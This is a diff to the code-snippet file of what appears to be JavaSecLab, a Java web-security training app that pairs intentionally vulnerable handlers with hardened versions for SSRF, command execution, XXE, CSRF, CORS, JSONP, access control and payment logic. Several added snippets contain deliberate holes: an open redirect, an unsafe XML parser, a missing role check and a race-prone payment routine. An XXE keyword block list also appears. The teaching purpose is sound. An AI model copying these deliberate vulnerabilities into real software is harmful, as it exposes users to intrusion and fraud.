' response.setContentType("application/octet-stream");\n' +
- ' response.setHeader("Content-Disposition", "attachment; filename=\\"" + file.getName() + "\\"");\n' +
- ' try (FileInputStream fis = new FileInputStream(file);\n' +
+ ' response.setHeader("Content-Disposition", "attachment; filename=\\"" + realFilePath.getFileName().toString() + "\\"");\n' +
+ ' try (InputStream fis = Files.newInputStream(realFilePath);\n' +
' OutputStream os = response.getOutputStream()) {\n' +
' StreamUtils.copy(fis, os);\n' +
' os.flush();\n' +
@@ -962,10 +1112,20 @@ const safeDownloadFile = 'public void safe(String fileName,HttpServletResponse r
'}'
// ssrf-服务端请求伪造
-const vul1URLConnection = "public String vul(String url) {\n" +
+const vul1URLConnection = "@GetMapping(\"/internal/metadata\")\n" +
+ "public String internalMetadata() {\n" +
+ " return \"instance-id: i-javaseclab-ssrf ...\";\n" +
+ "}\n" +
+ "\n" +
+ "@GetMapping(\"/redirect\")\n" +
+ "public void redirect(String target, HttpServletResponse response) throws IOException {\n" +
+ " response.sendRedirect(target);\n" +
+ "}\n" +
+ "\n" +
+ "public String vul(String url) {\n" +
" try {\n" +
" URL u = new URL(url);\n" +
- " // 这里以URLConnection作为演示\n" +
+ " // URLConnection默认可请求file/http等协议,HTTP请求还可能自动跟随跳转\n" +
" URLConnection conn = u.openConnection();\n" +
" BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));\n" +
" String content;\n" +
@@ -987,24 +1147,53 @@ const safe1WhiteList = "public String safe(String url) {\n" +
" } else if (!checkUserInput.ssrfWhiteList(url)) {\n" +
" return \"非白名单域名!\";\n" +
" } else {\n" +
+ " URL u = new URL(url);\n" +
+ " HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n" +
+ " // 禁止自动跳转,每一跳都应重新校验协议、域名和IP\n" +
+ " conn.setInstanceFollowRedirects(false);\n" +
+ " conn.setConnectTimeout(3000);\n" +
+ " conn.setReadTimeout(3000);\n" +
" ...\n" +
" }\n" +
"}\n" +
- "// ssrf:判断http(s)协议\n" +
+ "// SSRF:判断http(s)协议,避免 startsWith 被空白、大小写、畸形URL等绕过\n" +
"public boolean isHttp(String url){\n" +
- " return url.startsWith(\"http://\") || url.startsWith(\"https://\");\n" +
+ " try {\n" +
+ " URI uri = new URI(url);\n" +
+ " String scheme = uri.getScheme();\n" +
+ " return \"http\".equalsIgnoreCase(scheme) || \"https\".equalsIgnoreCase(scheme);\n" +
+ " } catch (URISyntaxException e) {\n" +
+ " return false;\n" +
+ " }\n" +
"}\n" +
- "// ssrf:请求域名白名单\n" +
+ "// SSRF:请求域名白名单,同时校验解析后的IP\n" +
"public boolean ssrfWhiteList(String url) {\n" +
" List urlList = new ArrayList<>(Arrays.asList(\"baidu.com\", \"www.baidu.com\", \"whgojp.top\"));\n" +
" try {\n" +
- " URI uri = new URI(url.toLowerCase());\n" +
+ " URI uri = new URI(url);\n" +
" String host = uri.getHost();\n" +
- " return urlList.contains(host);\n" +
- " } catch (URISyntaxException e) {\n" +
+ " if (host == null || uri.getUserInfo() != null) {\n" +
+ " return false;\n" +
+ " }\n" +
+ " return urlList.contains(host.toLowerCase(Locale.ROOT)) && !isInternalHost(host);\n" +
+ " } catch (URISyntaxException | UnknownHostException e) {\n" +
" System.out.println(e);\n" +
" return false;\n" +
" }\n" +
+ "}\n" +
+ "\n" +
+ "private boolean isInternalHost(String host) throws UnknownHostException {\n" +
+ " InetAddress[] addresses = InetAddress.getAllByName(host);\n" +
+ " for (InetAddress address : addresses) {\n" +
+ " if (address.isAnyLocalAddress()\n" +
+ " || address.isLoopbackAddress()\n" +
+ " || address.isLinkLocalAddress()\n" +
+ " || address.isSiteLocalAddress()\n" +
+ " || address.isMulticastAddress()) {\n" +
+ " return true;\n" +
+ " }\n" +
+ " }\n" +
+ " return false;\n" +
"}"
// RCE
@@ -1054,13 +1243,33 @@ const vulProcessImpl = "public R vul3(String payload) throws Exception {\n" +
" return R.ok(output.toString());\n" +
" }\n" +
"}"
-const safeProcessBuilder = "// 验证命令是否在允许的列表中\n" +
- "if (!ALLOWED_COMMANDS.contains(payload)) {\n" +
- " return R.error(\"不允许执行该命令!\");\n" +
+const safeProcessBuilder = "// 业务动作到固定命令参数的映射,用户不能直接控制命令字符串\n" +
+ "private static final Map> ALLOWED_COMMANDS = new HashMap<>();\n" +
+ "static {\n" +
+ " ALLOWED_COMMANDS.put(\"list\", Arrays.asList(\"ls\"));\n" +
+ " ALLOWED_COMMANDS.put(\"date\", Arrays.asList(\"date\"));\n" +
"}\n" +
"\n" +
- "// 可执行命令白名单\n" +
- "private static final List ALLOWED_COMMANDS = Arrays.asList(\"ls\", \"date\");"
+ "public R safe(String payload) throws IOException {\n" +
+ " List command = ALLOWED_COMMANDS.get(payload);\n" +
+ " if (command == null) {\n" +
+ " return R.error(\"不允许执行该动作!\");\n" +
+ " }\n" +
+ " ProcessBuilder pb = new ProcessBuilder(command);\n" +
+ " pb.redirectErrorStream(true);\n" +
+ " Process process = pb.start();\n" +
+ " try {\n" +
+ " if (!process.waitFor(3, TimeUnit.SECONDS)) {\n" +
+ " process.destroyForcibly();\n" +
+ " return R.error(\"命令执行超时!\");\n" +
+ " }\n" +
+ " } catch (InterruptedException e) {\n" +
+ " Thread.currentThread().interrupt();\n" +
+ " return R.error(\"命令执行被中断!\");\n" +
+ " }\n" +
+ " String output = readProcessOutput(process);\n" +
+ " return R.ok(output);\n" +
+ "}"
const vulGroovy = "public R vulGroovy(String payload) {\n" +
" try {\n" +
@@ -1090,30 +1299,16 @@ const vulGroovy = "public R vulGroovy(String payload) {\n" +
" return output.toString();\n" +
"}"
const safeGroovy = 'public R safeGroovy(String payload) {\n' +
- ' List trustedScripts = Arrays.asList(\n' +
- ' "\\"id\\".execute()",\n' +
- ' "\\"ls\\".execute()",\n' +
- ' "\\"whoami\\".execute()"\n' +
- ' );\n' +
- ' if (!isTrustedScript(payload, trustedScripts)) {\n' +
- ' return R.error("非法的脚本输入!");\n' +
+ ' if ("hello".equals(payload)) {\n' +
+ ' return R.ok("[+] 受控动作执行结果:Hello JavaSecLab");\n' +
' }\n' +
- ' try {\n' +
- ' GroovyShell shell = new GroovyShell();\n' +
- ' Object result = shell.evaluate(payload); \n' +
- ' if (result instanceof Process) {\n' +
- ' Process process = (Process) result;\n' +
- ' String output = getProcessOutput(process);\n' +
- ' return R.ok("[+] 执行受信任的脚本,结果:" + output);\n' +
- ' } else {\n' +
- ' return R.ok("[+] 执行受信任的脚本,结果:" + result.toString());\n' +
- ' }\n' +
- ' } catch (Exception e) {\n' +
- ' return R.error(e.getMessage());\n' +
+ ' if ("time".equals(payload)) {\n' +
+ ' return R.ok("[+] 受控动作执行结果:" + LocalDateTime.now().format(DateTimeFormatter.ISO_LOCAL_DATE_TIME));\n' +
' }\n' +
- '}\n' +
- 'private boolean isTrustedScript(String script, List trustedScripts) {\n' +
- ' return trustedScripts.contains(script);\n' +
+ ' if ("sum".equals(payload)) {\n' +
+ ' return R.ok("[+] 受控动作执行结果:" + (1 + 2 + 3));\n' +
+ ' }\n' +
+ ' return R.error("非法的动作输入!");\n' +
'}'
// XXE
@@ -1152,6 +1347,17 @@ const vulSAXParser = "public String vul2(String payload) {\n" +
" }\n" +
"}"
+const vulDocumentBuilder = "public String vul3(String payload) {\n" +
+ " try {\n" +
+ " DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n" +
+ " DocumentBuilder builder = factory.newDocumentBuilder();\n" +
+ " Document document = builder.parse(new InputSource(new StringReader(payload)));\n" +
+ " return document.getDocumentElement().getTextContent();\n" +
+ " } catch (Exception e) {\n" +
+ " return e.toString();\n" +
+ " }\n" +
+ "}"
+
const safeXMLReader = "public String safe1(String payload) {\n" +
" try {\n" +
" XMLReader xmlReader = XMLReaderFactory.createXMLReader();\n" +
@@ -1159,6 +1365,8 @@ const safeXMLReader = "public String safe1(String payload) {\n" +
" xmlReader.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n" +
" xmlReader.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n" +
" xmlReader.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n" +
+ " xmlReader.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n" +
+ " xmlReader.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader(\"\")));\n" +
" ...\n" +
" xmlReader.parse(new InputSource(new StringReader(payload)));\n" +
" return stringWriter.toString();\n" +
@@ -1166,7 +1374,32 @@ const safeXMLReader = "public String safe1(String payload) {\n" +
" return e.getMessage();\n" +
" }\n" +
"}"
-const safeBlackList = "public String safe2(String payload) {\n" +
+const safeDocumentBuilder = "public String safe3(String payload) {\n" +
+ " try {\n" +
+ " DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n" +
+ " factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n" +
+ " factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n" +
+ " factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n" +
+ " factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n" +
+ " factory.setXIncludeAware(false);\n" +
+ " factory.setExpandEntityReferences(false);\n" +
+ " setAttributeIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n" +
+ " setAttributeIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\");\n" +
+ " DocumentBuilder builder = factory.newDocumentBuilder();\n" +
+ " builder.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader(\"\")));\n" +
+ " ...\n" +
+ " } catch (Exception e) {\n" +
+ " return e.toString();\n" +
+ " }\n" +
+ "}\n" +
+ "private void setAttributeIfSupported(DocumentBuilderFactory factory, String name, String value) {\n" +
+ " try {\n" +
+ " factory.setAttribute(name, value);\n" +
+ " } catch (IllegalArgumentException ignored) {\n" +
+ " }\n" +
+ "}"
+const safeBlackList = "// 黑名单只能作为辅助检测,不应替代解析器安全配置\n" +
+ "public String safe2(String payload) {\n" +
" String[] black_list = {\"ENTITY\", \"DOCTYPE\"};\n" +
" for (String keyword : black_list) {\n" +
" if (payload.toUpperCase().contains(keyword)) {\n" +
@@ -1290,7 +1523,7 @@ const safeHorizon = "public R safe(String username){\n" +
" // 获取当前登录的用户名\n" +
" String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName();\n" +
" // 检查当前请求的用户名是否和登录用户名一致\n" +
- " if (!username.equals(currentUsername)) {\n" +
+ " if (username == null || !username.equals(currentUsername)) {\n" +
" return R.error(\"您没有权限查看该用户的资料,当前登录用户:\"+currentUsername);\n" +
" }\n" +
" // 查询用户信息\n" +
@@ -1301,6 +1534,10 @@ const safeHorizon = "public R safe(String username){\n" +
" return R.error(\"用户名不存在\");\n" +
" }\n" +
"}"
+const vulVertical = "public String vul() {\n" +
+ " // 漏洞点:只要知道管理员功能地址即可直接访问,没有做服务端角色校验。\n" +
+ " return \"vul/logic/idor/admin\";\n" +
+ "}"
// 支付漏洞
const vul1Pay = "public R vul1(@RequestParam String count, @RequestParam String price) {\n" +
@@ -1347,6 +1584,36 @@ const vul3Pay = "public R vul3(@RequestParam String orderId, @RequestParam doub
" return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" +
"}";
+const vulConcurrent = "public R vul(@RequestParam String orderId, @RequestParam double amount) {\n" +
+ " // 模拟业务处理耗时,扩大并发窗口\n" +
+ " Thread.sleep(1000);\n" +
+ "\n" +
+ " BigDecimal currentMoney = userMoney.get();\n" +
+ " BigDecimal payAmount = BigDecimal.valueOf(amount);\n" +
+ " if (currentMoney.compareTo(payAmount) < 0) {\n" +
+ " return R.error(\"余额不足\");\n" +
+ " }\n" +
+ " // 漏洞点:读取余额和写回余额不是一个原子操作,相同订单也没有幂等校验\n" +
+ " userMoney.set(currentMoney.subtract(payAmount));\n" +
+ " return R.ok(\"支付成功!订单:\" + orderId + \",剩余余额:\" + userMoney.get());\n" +
+ "}";
+
+const safeConcurrent = "public R safe(@RequestParam String orderId, @RequestParam double amount) {\n" +
+ " BigDecimal payAmount = BigDecimal.valueOf(amount);\n" +
+ " synchronized (paymentLock) {\n" +
+ " if (paidOrders.contains(orderId)) {\n" +
+ " return R.error(\"订单已支付,拒绝重复扣款:\" + orderId);\n" +
+ " }\n" +
+ " BigDecimal currentMoney = userMoney.get();\n" +
+ " if (currentMoney.compareTo(payAmount) < 0) {\n" +
+ " return R.error(\"余额不足\");\n" +
+ " }\n" +
+ " paidOrders.add(orderId);\n" +
+ " userMoney.set(currentMoney.subtract(payAmount));\n" +
+ " return R.ok(\"支付成功!订单:\" + orderId + \",剩余余额:\" + userMoney.get());\n" +
+ " }\n" +
+ "}";
+
const vul4Pay = "@ApiOperation(\"支付流程绕过漏洞 - 创建订单\")\n" +
"@RequestMapping(\"/vul4/create\")\n" +
"public R createOrder(@RequestParam String orderId, @RequestParam double amount) {\n" +
@@ -1404,8 +1671,9 @@ const vul5Pay = "public R integerOverflow(@RequestParam String count, @RequestPa
"}";
const vul6Pay = "public R floatingPointPrecision(@RequestParam String count, @RequestParam String price) {\n" +
" try {\n" +
- " // 使用BigDecimal处理金额计算,避免浮点数精度问题\n" +
- " BigDecimal amountValue = new BigDecimal(price).multiply(new BigDecimal(count));\n" +
+ " double totalAmount = Double.parseDouble(count) * Double.parseDouble(price);\n" +
+ " // 漏洞点:把二进制浮点计算结果直接转成金额,可能引入精度误差\n" +
+ " BigDecimal amountValue = new BigDecimal(totalAmount);\n" +
" log.info(\"用户需支付金额:\" + amountValue);\n" +
"\n" +
" BigDecimal currentMoney = userMoney.get();\n" +
@@ -1413,7 +1681,7 @@ const vul6Pay = "public R floatingPointPrecision(@RequestParam String count, @Re
" return R.error(\"支付金额不足,支付失败!\");\n" +
" }\n" +
" userMoney.set(currentMoney.subtract(amountValue));\n" +
- " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" +
+ " return R.ok(\"支付成功!实际扣款金额:\" + amountValue + \",剩余余额:\" + userMoney.get());\n" +
" } catch (Exception e) {\n" +
" return R.error(\"无效的输入,请输入有效的数量和价格!\");\n" +
" }\n" +
@@ -1520,17 +1788,31 @@ const vulXffforgery = "public String vul1(HttpServletRequest request, Model mode
"}";
const safeXffforgery = "public String safe(HttpServletRequest request, HttpServletResponse response, Model model, String xff){\n" +
- " ...\n" +
- " if (!isTrustedProxy(remoteHost)){\n" +
- " model.addAttribute(\"clientIP\", request.getRemoteAddr());\n" +
- " model.addAttribute(\"sensitiveInfo\", \"源ip不在白名单范围内!\");\n" +
+ " String proxyIp = request.getRemoteAddr();\n" +
+ " String remoteHost = proxyIp;\n" +
+ " if (\"true\".equals(xff)) {\n" +
+ " if (!isTrustedProxy(proxyIp)){\n" +
+ " model.addAttribute(\"clientIP\", proxyIp);\n" +
+ " model.addAttribute(\"sensitiveInfo\", \"非可信代理来源,忽略XFF头:\" + proxyIp);\n" +
+ " return \"vul/other/onlyForGoogle\";\n" +
+ " }\n" +
+ " remoteHost = getFirstForwardedIp(request.getHeader(\"X-Forwarded-For\"));\n" +
+ " }\n" +
+ " if (remoteHost == null || remoteHost.isEmpty()) {\n" +
+ " model.addAttribute(\"clientIP\", proxyIp);\n" +
+ " model.addAttribute(\"sensitiveInfo\", \"XFF头为空或格式异常!\");\n" +
" return \"vul/other/onlyForGoogle\";\n" +
" }\n" +
- " ...\n" +
+ " boolean isClientIP8888 = \"8.8.8.8\".equals(remoteHost);\n" +
+ " model.addAttribute(\"clientIP\", remoteHost);\n" +
+ " if (isClientIP8888) {\n" +
+ " model.addAttribute(\"sensitiveInfo\", \"username:admin,password:Admin123\");\n" +
+ " }\n" +
+ " return \"vul/other/onlyForGoogle\";\n" +
"}\n" +
"// 判断是否来自可信代理\n" +
"private boolean isTrustedProxy(String ip) {\n" +
- " return Arrays.asList(\"127.0.0.1\", \"192.168.1.1\", \"10.0.0.1\").contains(ip);\n" +
+ " return Arrays.asList(\"192.168.1.1\", \"10.0.0.1\").contains(ip);\n" +
"}"
const vulCsrf = "public R vul(String receiver, String amount, @AuthenticationPrincipal UserDetails userDetails){\n" +
@@ -1546,7 +1828,7 @@ const safeCsrfToken = "public Map safeCsrf(String receiver,Strin
"\n" +
" String sessionToken = (String) session.getAttribute(\"csrfToken\");\n" +
" Map result = new HashMap<>();\n" +
- " if (!csrfToken.equals(sessionToken)) {\n" +
+ " if (!constantTimeEquals(csrfToken, sessionToken)) {\n" +
" result.put(\"success\", false);\n" +
" result.put(\"message\", \"Token失效!\");\n" +
" return result;\n" +
@@ -1556,25 +1838,53 @@ const safeCsrfToken = "public Map safeCsrf(String receiver,Strin
" result.put(\"amount\", amount);\n" +
" result.put(\"csrfToken\", csrfToken);\n" +
" return result;\n" +
+ "}\n" +
+ "\n" +
+ "private boolean constantTimeEquals(String requestToken, String sessionToken) {\n" +
+ " if (requestToken == null || sessionToken == null) {\n" +
+ " return false;\n" +
+ " }\n" +
+ " return MessageDigest.isEqual(\n" +
+ " requestToken.getBytes(StandardCharsets.UTF_8),\n" +
+ " sessionToken.getBytes(StandardCharsets.UTF_8)\n" +
+ " );\n" +
"}"
const safeCsrfReferer = "public Map safe2(HttpServletRequest request,String receiver,String amount, @AuthenticationPrincipal UserDetails userDetails, HttpSession session) {\n" +
" String currentUser = userDetails.getUsername();\n" +
" Map result = new HashMap<>();\n" +
- " String referer = request.getHeader(\"referer\");\n" +
- " if (referer == null || !referer.startsWith(\"http://127.0.0.1\")) {\n" +
+ " String originOrReferer = request.getHeader(\"Origin\");\n" +
+ " if (originOrReferer == null) {\n" +
+ " originOrReferer = request.getHeader(\"Referer\");\n" +
+ " }\n" +
+ " if (!isTrustedSameOrigin(request, originOrReferer)) {\n" +
" result.put(\"success\", false);\n" +
- " result.put(\"message\", \"referer无效!\");\n" +
+ " result.put(\"message\", \"Origin/Referer无效!\");\n" +
" return result;\n" +
" }\n" +
" result.put(\"currentUser\", currentUser);\n" +
" result.put(\"receiver\", receiver);\n" +
" result.put(\"amount\", amount);\n" +
" return result;\n" +
+ "}\n" +
+ "\n" +
+ "private boolean isTrustedSameOrigin(HttpServletRequest request, String originOrReferer) {\n" +
+ " if (originOrReferer == null) {\n" +
+ " return false;\n" +
+ " }\n" +
+ " try {\n" +
+ " URI uri = new URI(originOrReferer);\n" +
+ " int actualPort = uri.getPort() == -1 ? defaultPort(uri.getScheme()) : uri.getPort();\n" +
+ " return request.getScheme().equalsIgnoreCase(uri.getScheme())\n" +
+ " && request.getServerName().equalsIgnoreCase(uri.getHost())\n" +
+ " && request.getServerPort() == actualPort;\n" +
+ " } catch (URISyntaxException e) {\n" +
+ " return false;\n" +
+ " }\n" +
"}"
// 跨域安全问题
-const vulCORS = "public String vul(HttpServletRequest request, HttpServletResponse response) {\n" +
- " String origin = request.getHeader(\"origin\");\n" +
+const vulCORS = "public R vul(HttpServletRequest request, HttpServletResponse response) {\n" +
+ " String origin = request.getHeader(\"Origin\");\n" +
"\n" +
" if (origin != null) {\n" +
" response.setHeader(\"Access-Control-Allow-Origin\", origin);\n" +
@@ -1585,21 +1895,36 @@ const vulCORS = "public String vul(HttpServletRequest request, HttpServletRespon
" // 允许携带 Cookie 或其他凭证\n" +
" response.setHeader(\"Access-Control-Allow-Credentials\", \"true\");\n" +
" response.setHeader(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE, OPTIONS\");\n" +
+ " response.setHeader(\"Access-Control-Allow-Headers\", \"Content-Type, Authorization, X-Requested-With\");\n" +
+ " response.setHeader(\"Vary\", \"Origin\");\n" +
"\n" +
- " return \"CORS漏洞演示:username:admin,password:Admin123\";\n" +
+ " return R.ok(\"CORS漏洞演示:username:admin,password:Admin123\");\n" +
"}"
-const safeCORS = "@CrossOrigin(origins = {\"http://127.0.0.1:8080\", \"https://127.0.0.1:8080\"}, allowCredentials = \"true\")\n" +
- "public String safe(HttpServletRequest request, HttpServletResponse response) {\n" +
- " // 记录安全 CORS 请求来源\n" +
- " String origin = request.getHeader(\"origin\");\n" +
- " // 允许携带凭证,但前提是 `Access-Control-Allow-Origin` 与可信来源匹配\n" +
+const safeCORS = "private static final Set TRUSTED_ORIGINS = new HashSet<>(Arrays.asList(\n" +
+ " \"http://127.0.0.1:8080\",\n" +
+ " \"https://127.0.0.1:8080\"\n" +
+ "));\n" +
+ "\n" +
+ "public R safe(HttpServletRequest request, HttpServletResponse response) {\n" +
+ " String origin = request.getHeader(\"Origin\");\n" +
+ " response.setHeader(\"Vary\", \"Origin\");\n" +
+ " if (origin == null) {\n" +
+ " return R.ok(\"同源请求不需要CORS响应头\");\n" +
+ " }\n" +
+ " if (!TRUSTED_ORIGINS.contains(origin)) {\n" +
+ " response.setStatus(HttpServletResponse.SC_FORBIDDEN);\n" +
+ " return R.error(HttpServletResponse.SC_FORBIDDEN, \"Origin不在CORS白名单\");\n" +
+ " }\n" +
+ " response.setHeader(\"Access-Control-Allow-Origin\", origin);\n" +
" response.setHeader(\"Access-Control-Allow-Credentials\", \"true\");\n" +
+ " response.setHeader(\"Access-Control-Allow-Methods\", \"GET, OPTIONS\");\n" +
+ " response.setHeader(\"Access-Control-Allow-Headers\", \"Content-Type\");\n" +
"\n" +
- " return \"配置CORS可信源白名单\";\n" +
+ " return R.ok(\"配置CORS可信源白名单\");\n" +
"}\n"
-const vulJSONP = 'public void vul(HttpServletRequest request, HttpServletResponse response) throws IOException, java.io.IOException {\n' +
+const vulJSONP = 'public void vul(HttpServletRequest request, HttpServletResponse response) throws IOException {\n' +
' String callback = request.getParameter("callback");\n' +
' String sensitiveData = "{\\"username\\":\\"admin\\",\\"password\\":\\"Admin123\\"}";\n' +
'\n' +
@@ -1607,15 +1932,27 @@ const vulJSONP = 'public void vul(HttpServletRequest request, HttpServletRespons
' String jsonpResponse = callback + "(" + sensitiveData + ");";\n' +
'\n' +
' // 设置响应类型为 JavaScript 脚本\n' +
- ' response.setContentType("application/javascript");\n' +
+ ' response.setContentType("application/javascript;charset=UTF-8");\n' +
' response.getWriter().write(jsonpResponse);\n' +
'}\n'
-const safeJSONP = "// 校验回调函数名是否合法\n" +
- "if (callback == null || !callback.matches(\"^[a-zA-Z_$][a-zA-Z0-9_$]*$\")) {\n" +
- " response.setStatus(HttpServletResponse.SC_BAD_REQUEST);\n" +
- " response.getWriter().write(\"Invalid callback\");\n" +
- " return;\n" +
+const safeJSONP = "private static final Pattern JSONP_CALLBACK_PATTERN = Pattern.compile(\n" +
+ " \"^[A-Za-z_$][A-Za-z0-9_$]*(\\\\.[A-Za-z_$][A-Za-z0-9_$]*)*$\"\n" +
+ ");\n" +
+ "\n" +
+ "public void safe(HttpServletRequest request, HttpServletResponse response) throws IOException {\n" +
+ " String callback = request.getParameter(\"callback\");\n" +
+ " // 校验回调函数名是否合法\n" +
+ " if (callback == null || !JSONP_CALLBACK_PATTERN.matcher(callback).matches()) {\n" +
+ " response.setStatus(HttpServletResponse.SC_BAD_REQUEST);\n" +
+ " response.getWriter().write(\"Invalid callback\");\n" +
+ " return;\n" +
+ " }\n" +
+ "\n" +
+ " String publicData = \"{\\\"message\\\":\\\"public data only\\\"}\";\n" +
+ " response.setContentType(\"application/javascript;charset=UTF-8\");\n" +
+ " response.setHeader(\"X-Content-Type-Options\", \"nosniff\");\n" +
+ " response.getWriter().write(callback + \"(\" + publicData + \");\");\n" +
"}"
const vulDos = "public void vul(Integer width,Integer height,HttpServletResponse response) throws IOException {\n" +
@@ -1630,6 +1967,19 @@ const vulDos = "public void vul(Integer width,Integer height,HttpServletResponse
" throw new RuntimeException(e);\n" +
" }\n" +
"}"
+const safeDos = "public void safe(Integer width,Integer height,HttpServletResponse response) throws IOException {\n" +
+ " if (width == null || height == null || width <= 0 || height <= 0\n" +
+ " || width > MAX_IMAGE_WIDTH || height > MAX_IMAGE_HEIGHT\n" +
+ " || (long) width * height > MAX_IMAGE_PIXELS) {\n" +
+ " response.setStatus(HttpServletResponse.SC_BAD_REQUEST);\n" +
+ " response.setContentType(\"text/plain;charset=UTF-8\");\n" +
+ " response.getWriter().write(\"图片尺寸超出限制\");\n" +
+ " return;\n" +
+ " }\n" +
+ " response.setContentType(\"image/jpeg\");\n" +
+ " ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(width, height, 4, 3);\n" +
+ " shearCaptcha.write(response.getOutputStream());\n" +
+ "}"
const vul2Dos = "// 如果解压出的文件是ZIP文件,则递归解压\n" +
"if (entry.getName().endsWith(\".zip\")) {\n" +
" // 创建临时文件来存储这个ZIP\n" +
@@ -1674,16 +2024,13 @@ const safeXpath = "public R safe(String username,String password) {\n" +
" String xml = \"admin password \";\n" +
" Document doc = builder.parse(new InputSource(new StringReader(xml)));\n" +
"\n" +
- " // 使用StringEscapeUtils.escapeXml10()方法对用户输入进行XML实体转义\n" +
- " String escapedUsername = StringEscapeUtils.escapeXml10(username);\n" +
- " String escapedPassword = StringEscapeUtils.escapeXml10(password);\n" +
- "\n" +
" XPath xpath = XPathFactory.newInstance().newXPath();\n" +
- " String expression = \"/users/user[username='\" + escapedUsername + \"' and password='\" + escapedPassword + \"']\";\n" +
+ " xpath.setXPathVariableResolver(variableName -> resolveXPathVariable(variableName, username, password));\n" +
+ " String expression = \"/users/user[username=$username and password=$password]\";\n" +
" NodeList nodes = (NodeList) xpath.evaluate(expression, doc, XPathConstants.NODESET);\n" +
"\n" +
" if (nodes.getLength() > 0) {\n" +
- " return R.ok(\"用户名和密码验证通过!欢迎:\" + escapedUsername);\n" +
+ " return R.ok(\"用户名和密码验证通过!欢迎:\" + username);\n" +
" } else {\n" +
" return R.error(\"认证失败:用户名或密码错误\");\n" +
" }\n" +
@@ -1789,7 +2136,7 @@ const springBootSwagger = "return new Docket(DocumentationType.OAS_30)\n" +
const springBootActuator = "management:\n" +
" # 端点信息接口使用的端口,为了和主系统接口使用的端口进行分离\n" +
" server:\n" +
- " port: 8080\n" +
+ " port: 80\n" +
" # 端点健康情况,默认值\"never\",设置为\"always\"可以显示硬盘使用情况和线程情况\n" +
" endpoint:\n" +
" health:\n" +
@@ -1819,19 +2166,18 @@ const springBootActuator = "management:\n" +
"jolokia 通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用) Yes\n" +
"logfile 返回日志文件内容(如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息 Yes\n" +
"prometheus 以可以被Prometheus服务器抓取的格式显示metrics信息 Yes";
-const springBootDruid = "druid:\n" +
- " ...\n" +
- " filters: stat,log4j # wall 这里关闭sql防火墙\n" +
- " stat-view-servlet:\n" +
- " enabled: true\n" +
- " url-pattern: /druid/*\n" +
- "# login-username: admin\n" +
- "# login-password: admin\n" +
- " reset-enable: false\n" +
- " # 防火墙配置\n" +
- "# wall:\n" +
- "# config:\n" +
- "# multi-statement-allow: false"
+const springBootDruid = "@Configuration\n" +
+ "public class DruidMonitorConfig {\n" +
+ " @Bean\n" +
+ " public ServletRegistrationBean druidStatViewServlet() {\n" +
+ " ServletRegistrationBean registrationBean =\n" +
+ " new ServletRegistrationBean<>(new StatViewServlet(), \"/druid/*\");\n" +
+ " registrationBean.addInitParameter(\"resetEnable\", \"false\");\n" +
+ " return registrationBean;\n" +
+ " }\n" +
+ "}\n" +
+ "\n" +
+ "// SecurityConfigurer 中放行 /druid/**,且未设置登录账号密码,会导致Druid监控台暴露。"
const dirTraversal = 'public String listDirectory(String dir) {\n' +
' String staticFolderPath = sysConstant.getStaticFolder();\n' +
@@ -1872,15 +2218,18 @@ const safe1ListDirectory = 'public String safe1(String dir) {\n' +
'}'
const safe2ListDirectory = "public String safe2(String dir) {\n" +
- " String staticFolderPath = sysConstant.getStaticFolder();\n" +
- " File baseDir = new File(staticFolderPath);\n" +
- " File requestedDir = new File(baseDir, dir);\n" +
+ " File baseDir = resolveStaticBaseDir();\n" +
+ " String relativeDir = normalizeRelativeDir(dir);\n" +
"\n" +
" // 检查请求的目录是否在规定目录内\n" +
"try {\n" +
- " if (!requestedDir.getCanonicalPath().startsWith(baseDir.getCanonicalPath()) || !requestedDir.isDirectory()) {\n" +
+ " Path basePath = baseDir.getCanonicalFile().toPath();\n" +
+ " File requestedDir = new File(baseDir, relativeDir);\n" +
+ " Path requestedPath = requestedDir.getCanonicalFile().toPath();\n" +
+ " if (!requestedPath.startsWith(basePath) || !requestedDir.isDirectory()) {\n" +
" return \"Directory not found or access denied.\";\n" +
" }\n" +
+ " return renderDirectoryListing(dir, requestedDir, true);\n" +
"} catch (IOException e) {\n" +
" return \"Error resolving directory path.\";\n" +
"}\n" +
@@ -2006,52 +2355,71 @@ const vul2Reverse = "const publicKey = `-----BEGIN PUBLIC KEY-----\n" +
"{\"encryptedUsername\":\"iDF5BNv1zaM0V9qog0qzlUES3sCGYqmvrKiqPIvUgP5qE0pYn9XN3btW3PbRwLuySeruK2i8lem+L67w5+fFQBuRrpettLrHl8izIRp2W+nq9o9Kg/LSa3/+JynFoUHxrvQ2taNM1nustROpkBjJMbTOK52S6ZBa0quMw+wjfR1XExlzc99U1WJQfRAqj7Gsl9EPydRIh8vs4S/Nen5kf/dL3ZikfMbCUUBonRlYy6a3nWJ412P+hxRbSl80Z8aQKw9lH4+Iju80oFmQ6DuS6Ce70h88z/Va+xzXHDzM8w6h5iqQLzq3Kj/E+b/wsn6eM7v+LEC8LwLQ/t8z8tki9g==\",\n" +
